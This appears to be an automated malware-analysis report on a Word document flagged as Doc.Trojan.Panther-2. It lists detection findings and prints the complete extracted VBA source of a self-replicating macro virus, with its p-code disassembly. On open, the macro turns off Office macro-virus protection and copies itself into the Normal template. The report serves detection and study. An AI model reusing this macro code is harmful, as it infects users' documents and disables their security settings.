MALICIOUS
208
Risk Score
Heuristics 4
-
ClamAV: Doc.Trojan.Panther-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Panther-2
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open()
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4571 bytes |
SHA-256: e0b4c25ff1833cf49094e931fb00050b00ff1d468ae14d7b1115b5ebc9dc2fad |
|||
|
Detection
ClamAV:
Doc.Trojan.Panther-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim code As String
If Left$(NormalTemplate.Name, 8) <> "Document" Then
Options.VirusProtection = False
With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
code = .Lines(1, .CountOfLines)
ReplaceTemplate code, "Normal", "Template", "Happy", "Panther"
ReplaceTemplate code, "Active", "Document", "Normal", "Template"
ReplaceTemplate code, "Happy", "Panther", "Active", "Document"
With NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
.DeleteLines 1, .CountOfLines
.AddFromString code
End With
End With
Options.SaveNormalPrompt = False
If InStr("NormalTemplate", "Document") > 0 Then
End If
End If
End Sub
Private Sub ReplaceTemplate(target As String, prepre As String, prepost As String, postpre As String, postpost As String)
Dim index As Long, pre As String, post As String, preLen As Long
pre = prepre + prepost
post = postpre + postpost
index = 1
preLen = Len(pre)
While InStr(index, target, pre) <> 0
index = InStr(index, target, pre)
target = Left(target, index - 1) + post + Mid$(target, index + preLen)
index = index + 1
Wend
End Sub
' Processing file: /opt/analyzer/scan_staging/1ece812144ab4340bc6547c4292d81ee.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3020 bytes
' Line #0:
' FuncDefn (Private Sub Document_Open())
' Line #1:
' Dim
' VarDefn code (As String)
' Line #2:
' Ld NormalTemplate
' MemLd New
' LitDI2 0x0008
' ArgsLd LBound$ 0x0002
' LitStr 0x0008 "Document"
' Ne
' IfBlock
' Line #3:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #4:
' StartWithExpr
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' With
' Line #5:
' LitDI2 0x0001
' MemLdWith CountOfLines
' ArgsMemLdWith Lines 0x0002
' St code
' Line #6:
' Ld code
' LitStr 0x0006 "Normal"
' LitStr 0x0008 "Template"
' LitStr 0x0005 "Happy"
' LitStr 0x0007 "Panther"
' ArgsCall ReplaceTemplate 0x0005
' Line #7:
' Ld code
' LitStr 0x0006 "Active"
' LitStr 0x0008 "Document"
' LitStr 0x0006 "Normal"
' LitStr 0x0008 "Template"
' ArgsCall ReplaceTemplate 0x0005
' Line #8:
' Ld code
' LitStr 0x0005 "Happy"
' LitStr 0x0007 "Panther"
' LitStr 0x0006 "Active"
' LitStr 0x0008 "Document"
' ArgsCall ReplaceTemplate 0x0005
' Line #9:
' StartWithExpr
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' With
' Line #10:
' LitDI2 0x0001
' MemLdWith CountOfLines
' ArgsMemCallWith DeleteLines 0x0002
' Line #11:
' Ld code
' ArgsMemCallWith AddFromString 0x0001
' Line #12:
' EndWith
' Line #13:
' EndWith
' Line #14:
' LitVarSpecial (False)
' Ld Options
' MemSt SaveNormalPrompt
' Line #15:
' LitStr 0x000E "NormalTemplate"
' LitStr 0x0008 "Document"
' FnInStr
' LitDI2 0x0000
' Gt
' IfBlock
' Line #16:
' EndIfBlock
' Line #17:
' EndIfBlock
' Line #18:
' EndSub
' Line #19:
' FuncDefn (Private Sub ReplaceTemplate(target As String, prepre As String, prepost As String, postpre As String, postpost As String))
' Line #20:
' Dim
' VarDefn index (As Long)
' VarDefn pre (As String)
' VarDefn post (As String)
' VarDefn preLen (As Long)
' Line #21:
' Line #22:
' Ld prepre
' Ld prepost
' Add
' St pre
' Line #23:
' Ld postpre
' Ld postpost
' Add
' St post
' Line #24:
' Line #25:
' LitDI2 0x0001
' St index
' Line #26:
' Ld pre
' FnLen
' St preLen
' Line #27:
' Line #28:
' Ld index
' Ld target
' Ld pre
' FnInStr3
' LitDI2 0x0000
' Ne
' While
' Line #29:
' Ld index
' Ld target
' Ld pre
' FnInStr3
' St index
' Line #30:
' Ld target
' Ld index
' LitDI2 0x0001
' Sub
' ArgsLd LBound 0x0002
' Ld post
' Add
' Ld target
' Ld index
' Ld preLen
' Add
' ArgsLd Mid$$ 0x0002
' Add
' St target
' Line #31:
' Ld index
' LitDI2 0x0001
' Add
' St index
' Line #32:
' Wend
' Line #33:
' EndSub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.